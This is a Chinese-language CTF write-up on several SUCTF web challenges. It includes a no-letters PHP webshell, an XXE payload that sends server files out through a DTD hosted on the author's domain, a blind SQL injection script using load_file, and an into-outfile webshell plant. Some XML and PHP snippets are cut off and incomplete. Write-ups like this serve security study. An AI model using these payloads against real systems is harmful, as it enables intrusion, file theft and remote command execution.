SUCTF
这周末打了suctf,协会的大佬们都去参加tctf了,
都没人打pwn了,不过最终成绩还可以
不过恭喜协会大佬tctf新人赛第一,出征defcon
没啥会做,只能赛后复现一遍。。
(看了官方的wp发现全是非预期)
Anonymous
这道题一进去就有源码
看到了两个不认识的函数
create_function()
openssl_random_pseudo_bytes()
看到了2017年orange出的ctf比赛的文章
看着差不多=。=,然后一直想着绕过那个伪随机数
openssl_random_pseudo_bytes()是存在一个cve的
cve 2016-8867
create_function()这个函数的漏洞,他create之后会自动生成一个函数名为%00lambda_%d
https://lorexxar.cn/2017/11/10/hitcon2017-writeup/
这里看了土土的博客2017年的hitcon的比赛
了解到:
当我们能够获取一个反序列化的admin对象之后,我们遇到了新的问题。
获取flag的函数是通过create_function
,并没有设置函数名字,但其实这里声明的函数是有函数名的,匿名函数会被设置为\x00lambda_%d
,这里的%d是顺序递增的。
我们仍然可以从php的源码里找到这个问题
https://github.com/php/php-src/blob/d56a534acc52b0bb7d61ac7c3386ab96e8ca4a97/Zend/zend_builtin_functions.c#L1914
do {
ZSTR_LEN(function_name) = snprintf(ZSTR_VAL(function_name) + 1, sizeof("lambda_")+MAX_LENGTH_OF_LONG, "lambda_%d", ++EG(lambda_count)) + 1;
} while (zend_hash_add_ptr(EG(function_table), function_name, func) == NULL);
RETURN_NEW_STR(function_name);
} else {
zend_hash_str_del(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1);
RETURN_FALSE;
这里的%d会一直递增到最大长度直到结束,这里我们可以通过大量的请求来迫使Pre-fork模式启动的Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了。
import requests
while True:
r=requests.get('http://web.suctf.asuri.org:81/?func_name=%00lambda_1')
print(r.text)
不断跑就好了
Getshell
进去就是一个主页,然后你点击upload就可以
看到在这里可以上传文件会发现有一段代码
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}
传上去了会发现会给你地址,看下url,就明白了是文件包含
然后利用链也有了么就是先上传
然后再用文件包含访问那个一句话就可以getshell了
主要的问题使要把所有的black_char测试出来看看有哪些没有被过滤
我是用bp来测试的
就可以知道了只有上面的那些可以通过黑名单
这个就是一个问题,之前有看过P牛的文章就是不用字母数字的一句话
但是要使用++和^这里被绕过了就要用别的方法了
这时想起离别歌的博客https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html的方法二
echo ~茉[$____];//s
echo ~内[$____];//y
echo ~茉[$____];//s
echo ~苏[$____];//t
echo ~的[$____];//e
echo ~咩[$____];//m
echo ~课[$____];//P
echo ~尬[$____];//O
echo ~笔[$____];//S
echo ~端[$____];//T
echo ~瞎[$____];//a
这些只有在php7的环境下才能实现
根据这些来上传一个php文件
=$_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);
$_POST[a]可以来执行系统命令
就可以了
HateIT
首先扫一下站,会发现一个
robots.txt
admin.php
upload/upload.php
.git/
upload/uploa.php不能直接访问,估计是看cookie的
发现有一个suenc.so
拖入ida查看是怎么加密的,这个交给我们队的bin大佬了
/.git/很坑,用github 的githack只能下载下来一个readme
http://www.bugscan.net/的githack就有四个文件。。。。。惊了
和一个纯是字节码的index.php
前面两个通过.so里面的加密来还原
listA = [0x49,0xfa,0x0,0xfa,0x0,0x23,0xff,0x23,0x8e,0xea,0xfa,0xf3,0xa6,0xf3,0xc6,0x8e]
def decrypt(Str):
fp2 = open('2.php','wb')
purpose = ''
v3 = 0
purpose += (Str[:12])
Str2 = Str[12:]
for i in range(len(Str2)):
if i % 2 == 1:
v3 = (i + listA[v3] + v3) & 0xf
purpose += chr((~(ord(Str2[i])) & 0xff) ^ listA[v3])
else:
purpose += Str2[i]
fp2.write(purpose)
fp = open('admin.php','rb')
a = fp.read()
decrypt(a)
hammer肉眼还原字节码,膜一发
关键地方就是要生成一个token解密之后让info[1]=3
之后在赋值给admin,就可以进入到上传文件的地方了
因为有秘钥很简单=。=(这里非预期了,应该是不给秘钥的,原来得用CFB重放攻击)
加密解密的脚本都在func_decode.php
中
写出token的加密脚本
就可以用admin的session进入下一关了
审计admin.php源码
F12跟进viewImage 跟进ImageView
这里可以命令执行
file的地方就可以传进去命令
之后就是寻找flag之旅=。=
SUCTF{KyGfsMbkYqMNATETLTYVfCPncbY6HK8G6PbnByUPU5S5xo4tUMVm}
Homework
拿环境复现了一遍
lightless博客讲了xxe的详解
https://lightless.me/archives/Research-On-XXE.html
进入题目首先先注册然后登陆一下
按一下计算会发现这样好像就是调用了calc函数,里面的三个参数正好是2 a 2
然后就需要寻找一个php的类,然后能在调用类的时候自动传入xml=。=
不过我不懂为什么就可以想到是xxe了
SimpleXMLElement::__construct 创建时自动使用
可以找到一个函数
这道题不是很懂,就按wp来
先创建一个obj.xml外部实体
%int;
%all;
%send;
]>
evil.xml
">
1.php
$content=$_GET['file'];
file_put_contents("content.txt",$content);
构造payload
http://www.ckj123.com:9999/show.php?module=SimpleXMLElement&args[]=http://www.ckj123.com/XXE/obj.xml&args[]=2&args[]=true
不知道为什么一直500(500也没事=。=可以打过去)
200了
但是没有任何回显(不知道为什么)
向辉神要了一个payload
- payload
module=SimpleXMLElement&args[]=<%3Fxml+version%3D"1.0"+%3F>%0A<%21DOCTYPE+r+%5B%0A<%21ELEMENT+r+ANY+>%0A<%21ENTITY+%25+sp+SYSTEM+"http%3A%2F%2Fwww.ckj123.com%2FXXE/test.xml">%0A%25sp%3B%0A%25param1%3B%0A%5D>%0A%26exfil%3B<%2Fr>%0A&args[]=2
payload中的xml
%sp;
%param1;
]>
&exfil;
- 远程服务器上的xml文件
">
终于有回显了!!!!接下来就可以做代码审计了!!
请教了一下辉神,辉神神说可以用相对路径去读取,只要和show.php同一级
推荐我去看一下libxml的源码(挖个坑)
然后读取到了show.php的源码
new sig:".$new_sig);
}else{
die("Null filename");
}
}
$username=w_addslashes($_COOKIE['user']);
$check_code=$_COOKIE['cookie-check'];
$check_sql="select password from user where username='".$username."'";
$check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);
if($check_sum!==$check_code){
header("Location: login.php");
}
$module=$_GET['module'];
$args=$_GET['args'];
do_api($module,$args);
?>
看到了一个config
function.php
2*1024*1024){
die("File is larger than 2M, forbidden upload");
}
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!sql_result("select * from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql)){
$filehash=md5(mt_rand());
if(sql_result("insert into file(filename,filehash,sig) values('".w_addslashes($_FILES['file']['name'])."','".$filehash."',".(strrpos(w_addslashes($_POST['sig']),")")?"":w_addslashes($_POST['sig'])).")",$mysql)=="Failed") die("Upload failed");
$new_filename="./upload/".$filehash.".txt";
move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
}else{
$hash=sql_result("select filehash from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql) or die("Upload failed");
$new_filename="./upload/".$hash[0][0].".txt";
move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
}
}else{
die("Not upload file");
}
}
}
function w_addslashes($string){
return addslashes(trim($string));
}
function do_api($module,$args){
$class = new ReflectionClass($module);
$a=$class->newInstanceArgs($args);
}
?>
index.php没啥用
这里好像有两次转义.我错了是二次注入 拿出来的时候没有过滤了可以用16进制
但是本地测试的时候
尴尬
multisql
题目是用的公开CMS
https://github.com/Eworld97/php_audit/tree/master/VAuditDemo
首先注册一下,看一下用户信息有个id,会发现有一个id
http://web.suctf.asuri.org:85/user/user.php?id=22908
试一下^发现有数字型注入点
上传一个images,发现
文件名规则为 md5(user_name).jpg
会发现有文件读写权限
目录限制/var/www/
用mysql的file_load语句读取文件
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import requests
s = requests.session()
filename = "0x"+"/var/www/html/bwvs_config/waf.php".encode('hex')
print filename
content = "".encode("hex")
for i in range(0,99999):
for i in range(33,128):
url = "http://web.suctf.asuri.org:85/user/user.php?id=if(hex(mid(load_file("+filename+"),1,9999))>0x"+ content + chr(i).encode('hex') +",3,1)"
cookies = {"PHPSESSID":"lhctsn1getr97rpf54cp6bp6q0"}
r = s.post(url = url ,cookies = cookies)
if "user_id:1" in r.text:
print "no"
content = content + chr(i-1).encode('hex')
print content.decode("hex")
break
else:
continue**
function waf($str){
$black_str = "/(and|or|union|sleep|select|substr|order|left|right|order|by|where|rand|exp|updatexml|insert|update|dorp|delete|[|]|[&])/i";
$str = preg_replace($black_str, "@@",$str);
return addslashes($str);
}
先注册一个=$_POST[c]
;?>
再注册
=$_POST[c]
;?>'into outfile'/var/www/html/favicon/c1.php
退出后登录,生成shell
就可以任意命令执行了(本地复现一直不行)不知道为什么